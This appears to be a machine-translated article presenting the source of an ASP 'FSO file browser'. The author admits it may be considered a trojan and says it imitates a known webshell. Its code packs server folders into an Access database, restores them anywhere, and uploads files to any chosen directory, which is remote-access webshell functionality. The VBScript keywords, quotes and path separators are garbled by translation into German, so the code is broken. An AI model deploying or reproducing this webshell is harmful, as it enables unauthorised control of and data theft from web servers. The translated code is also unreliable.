Dies ist ein FSO-Dateibrowser, der mit FSO-Sammlungsobjekten geschrieben wurde (wenn Sie darauf bestehen, dass es sich um einen Trojaner handelt, habe ich keine Einwände. Funktionell imitiert er das Design des „Top-Trojaners des Ozeans“, aber der Code wurde komplett neu geschrieben). . Verwendung von Komponenten wie Shell.Application, die leicht zu einer versehentlichen Tötung durch Antivirensoftware führen können. Es gibt viele ähnliche Tools im Internet. Der Nutzen dieses Tools ist nicht sehr groß, aber viele der darin enthaltenen Codes gelten als gut geschrieben.
Zu den Hauptmerkmalen gehören: Zeigen Sie Festplatteninformationen an, durchsuchen Sie Festplattendateien und führen Sie ähnliche Aktionen wie im Windows Explorer aus, z. B. Erstellen, Löschen, Umbenennen, Kopieren, Verschieben und andere grundlegende Bearbeitungen von Textdateien.
Der Datei-Download im Stream-Modus vereinfacht und optimiert das komponentenlose Hochladen von Dateien. Ein Ordner kann vollständig gepackt/entpackt werden.
Codeausschnitt:
1. Teil zum Verpacken/Auspacken der Datei
-
-
- Unterpaket ( ByVal FPath, ByVal sDbPath)
- Server.ScriptTimeOut=900
- DbPath dimmen
- Wenn Right(sDbPath,4)= ".mdb" Dann
- DbPath=sDbPath
- Anders
- DbPath=sDbPath „.mdb“
- Ende Wenn
- Wenn oFso.FolderExists(DbPath) dann
- EchoBack „Datenbankdatei kann nicht erstellt werden!“ &Replace(DbPath, „“, „ \“)
- Ausfahrt Sub
- Ende Wenn
- Wenn oFso.FileExists(DbPath) Dann
- oFso.DeleteFile DbPath
- Ende Wenn
- Wenn IsFolder(FPath) Dann
- RootPath=GetParentFolder(FPath)
- Wenn Right(RootPath,1)<> "" Then RootPath=RootPath&" "
- Anders
- EchoBack „Bitte geben Sie den Ordnerpfad ein!“
- Ausfahrt Sub
- Ende Wenn
- Dimmen Sie oCatalog,connStr,DataName
- Setze conn=Server.CreateObject( "ADODB.Connection" )
- Setze oStream=Server.CreateObject( "ADODB.Stream" )
- Legen Sie oCatalog=Server.CreateObject( "ADOX.Catalog" ) fest.
- Setze rs=Server.CreateObject( "ADODB.RecordSet" )
- An Fehler Wieder aufnehmen Nächste
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
- oCatalog.Create connStr
- Wenn Sie sich irren , dann
- EchoBack „Datenbankdatei kann nicht erstellt werden!“ &Replace(DbPath, „“, „ \“)
- Ausfahrt Sub
- Ende Wenn
- Setzen Sie oCatalog= Nothing
- conn.Open connStr
- conn.Execute( "Tabellendateien erstellen (ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" )
- oStream.Open
- oStream.Type=1
- rs.Öffnen Sie „Dateien“ ,conn,3,3
- DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
- NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName)
- FailFileList= ""
- PackFolderFPath
- Wenn FailFilelist= "" Dann
- EchoClose „Ordnerverpackung gelungen!“
- Anders
- Response.Write „<link rel= stylesheet type= text/css href= ?page=css >“
- Response.Write „<Script Language= JavaScript >alert( Ordnerpaketierung abgeschlossen!nDas Folgende ist eine Liste der Dateien, die nicht gepackt werden konnten: );</Script>“
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- Ende Wenn
- oStream.Schließen
- rs.Schließen
- conn.Schließen
- Ende Sub
-
- Sub PackFolder(FolderPath)
- Wenn Dann nicht IsFolder(FolderPath). Ausfahrt Sub
- oFolder, sFile, sFolder dimmen
- Setze oFolder=oFso.GetFolder(FolderPath)
- Für Jede sDatei in oFolder.Files
- Wenn InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Dann
- PackFile sFile.Path
- Ende Wenn
- Nächste
- Setze sFile = Nothing
- Für Jeder sFolder in oFolder.SubFolders
- PackFolder sFolder.Path
- Nächste
- Setze sFolder= Nothing
- Ende Sub
-
- Sub PackFile(FilePath)
- Dimmen Sie RelPath
- RelPath=Replace(FilePath,RootPath, "" )
-
- An Fehler Wieder aufnehmen Nächste
- Fehler.Klar
- Fehler = Falsch
- oStream.LoadFromFile FilePath
- rs.AddNew
- rs( "FilePath" )=RelPath
- rs( "FileData" )=oStream.Read()
- rs.Update
- Wenn Sie sich irren , dann
-
- FailFilelist=FailFilelist&FilePath „|“
- Ende Wenn
- Ende Sub
-
-
- Sub UnPack(vFolderPath,DbPath)
- Server.ScriptTimeOut=900
- FilePath,FolderPath,sFolderPath abblenden
- FolderPath=vFolderPath
- FolderPath=Trim(FolderPath)
- If Mid(FolderPath,2,1)<> : Dann
- EchoBack „Das Pfadformat ist falsch und das Verzeichnis kann nicht erstellt werden!“
- Ausfahrt Sub
- Ende Wenn
- Wenn Right(FolderPath,1)= "" Dann FolderPath=Left(FolderPath,Len(FolderPath)-1)
- Dimmen Sie connStr
- Setze conn=Server.CreateObject( "ADODB.Connection" )
- Setze oStream=Server.CreateObject( "ADODB.Stream" )
- Setze rs=Server.CreateObject( "ADODB.RecordSet" )
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
- An Fehler Wieder aufnehmen Nächste
- Fehler = Falsch
- conn.Open connStr
- Wenn Sie sich irren , dann
- EchoBack „Fehler beim Öffnen der Datenbank!“
- Ausfahrt Sub
- Ende Wenn
- Fehler = Falsch
- oStream.Open
- oStream.Type=1
- rs.Öffnen Sie „Dateien“ ,conn,1,1
- FailFilelist= ""
- Tun Bis rs.EOF
- Fehler.Klar
- Fehler = Falsch
- FilePath=FolderPath ""&rs(" FilePath")
- FilePath=Replace(FilePath, „\“, „ “)
- sFolderPath=Left(FilePath,InStrRev(FilePath, "" ))
- Wenn Nicht oFso.FolderExists(sFolderPath) Dann
- CreateFolder(sFolderPath)
- Ende Wenn
- oStream.SetEos()
- oStream.Write rs( "FileData" )
- oStream.SaveToFile FilePath,2
- Wenn Sie sich irren , dann
- FailFilelist=FailFilelist&rs( "FilePath" ).Value "|"
- Ende Wenn
- rs.MoveNext
- Schleife
- rs.Schließen
- Setze rs = Nichts
- conn.Schließen
- Setze conn= Nichts
- Setzen Sie oStream = Nothing
- Wenn FailFilelist= "" Dann
- EchoClose „Datei entpacken erfolgreich!“
- Anders
- Response.Write „<link rel= stylesheet type= text/css href= ?page=css >“
- Response.Write „<Script Language= JavaScript >alert(Ordnerpaketierung abgeschlossen!nDas Folgende ist eine Liste der Dateien, die nicht gepackt werden konnten, bitte überprüfen);</Script>“
- Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
- Ende Wenn
- Ende Sub
-
2. Datei-Upload-Teil (einzelne Datei):
- Sub Saveupload ( ByVal FolderName)
- Wenn Nicht IsFolder(FolderName) Then
- EchoClose „Kein Upload-Ordner angegeben!“
- Ausfahrt Sub
- Ende Wenn
- Dim Path,IsOverWrite
- Path=FolderName
- If Right(Path,1)<> "" Then Path=Path&" "
- FileName=Replace(Request( "filename" ), ""," ")
- Wenn Len(FileName)<1 Then
- EchoBack „Bitte wählen Sie die Datei aus und geben Sie den Dateinamen ein!“
- Ausfahrt Sub
- Ende Wenn
- Pfad=Pfad
- Wenn LCase(Request( "overwrite" ))= "true" Dann
- ist IsOverWrite= True
- Sonst
- IsOverWrite= False
- Ende Wenn
- An Fehler Wieder aufnehmen Nächste
- Rufen Sie MyUpload(Path,IsOverWrite) auf.
- Wenn Err Then
- EchoBack „Datei-Upload fehlgeschlagen! (Die Datei ist möglicherweise bereits vorhanden)“
- Sonst
- EchoClose „Datei erfolgreich hochgeladen!n“ & Ersetzen(Dateiname, „“, „ \“)
- Ende Wenn
- Ende Sub-
- Sub MyUpload(FilePath,IsOverWrite)
- Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
- RequestSize=Request.TotalBytes
- Wenn RequestSize<1, dann Ausfahrt Sub
- Setze oStream=Server.CreateObject( "ADODB.Stream" )
- Setze tStream=Server.CreateObject( "ADODB.Stream" )
- Mit oStream
- .Type=1
- .Mode=3
- .Open
- .Write=Request.BinaryRead(RequestSize)
- .Position=0
- sData=.Read
- bCrLf=ChrB(13)&ChrB(10)
- iSpaceEnd=InStrB(sData,bCrLf)-1
- sSpace =LeftB(sData,iSpaceEnd)
- iInfoStart=iSpaceEnd+3
- iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
- iFileStart=iInfoEnd+5
- iFileEnd=InStrB(iFileStart,sData,sSpace)-3
- sData= ""
- iFileSize=iFileEnd-iFileStart+1
- tStream.Type=1
- tStream.Mode=3
- tStream.Open
- .Position=iFileStart-1
- .CopyTo tStream,iFileSize
- Wenn IsOverWrite , dann
- tStream.SaveToFile FilePath,2
- Sonst
- tStream.SaveToFile FilePath
- Ende Wenn
- tStream.Close
- .Close
- Ende Mit
- SettStream = Nichts
- Setzen Sie oStream= Nothing
- End Sub